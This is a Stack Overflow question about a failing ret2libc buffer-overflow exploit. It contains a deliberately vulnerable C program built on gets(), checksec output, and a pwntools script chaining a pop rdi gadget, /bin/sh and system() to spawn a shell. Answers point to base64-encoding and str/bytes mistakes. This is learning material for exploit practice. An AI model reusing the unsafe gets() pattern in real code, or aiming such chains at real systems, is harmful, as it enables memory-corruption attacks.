Having problem in Buffer Overflow(ret2libc) exploit

Question

I was following a tutorial regarding bufferoverflow(ret2libc) attack and it failed due to unknown reasons. The C program I wrote is as follows:

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>

int main(int argc, char** argv)
{
        char buf[256];
        gets(buf);
        return 0;
}

and i compiled it so it so it has checksec as:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

and the exploit i have written is:

from pwn import *

proc = process("./vuln")
junk = "A"*264
libc_base =      0x00007ffff7dee000
system_offset =  0x0000000000048df0
exec_offset =    0x00000000000cb7c0
exit_offset =    0x000000000003e600
binsh_offset =   0x18a156
system = str(base64.b64encode(p64(libc_base + system_offset)))
exit   = str(base64.b64encode(p64(libc_base + exit_offset)))
binsh  = str(base64.b64encode(p64(libc_base + binsh_offset)))
pop_rdi = str(base64.b64encode(p64(0x00000000004011bb)))

buf = junk + pop_rdi + binsh + system + exit
proc.sendline(buf)
proc.interactive()

But immediately after running the exploit it is giving me an error:

[+] Starting local process './vuln': pid 1595
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ 
[*] Process './vuln' stopped with exit code -11 (SIGSEGV) (pid 1595)
[*] Got EOF while sending in interactive

Can someone please tell me what is the problem here, Thanks in advance.

MikeCAT · Accepted Answer · 2021-04-23 22:18:12Z

1

Using base64.b64encode here is bad because it will encode the addresses and hide them from the machine that executes the code.

I didn't check well and there may be other errors, but the first thing to do is removing them and pass the machine the addresses of the parts.

answered Apr 23, 2021 at 22:18

MikeCAT

75.1k11 gold badges50 silver badges71 bronze badges

Sign up to request clarification or add additional context in comments.

1 Comment

Mohammad Kashif Over a year ago

by removing base64.b64encode the code does not compile and gives me an error: can only concatenate str(not bytes) to str

Collectives™ on Stack Overflow

Having problem in Buffer Overflow(ret2libc) exploit

1 Answer 1

1 Comment

Your Answer

Hot Network Questions

Collectives™ on Stack Overflow

1 Answer 1

1 Comment

Your Answer

Sign up or log in

Post as a guest

Related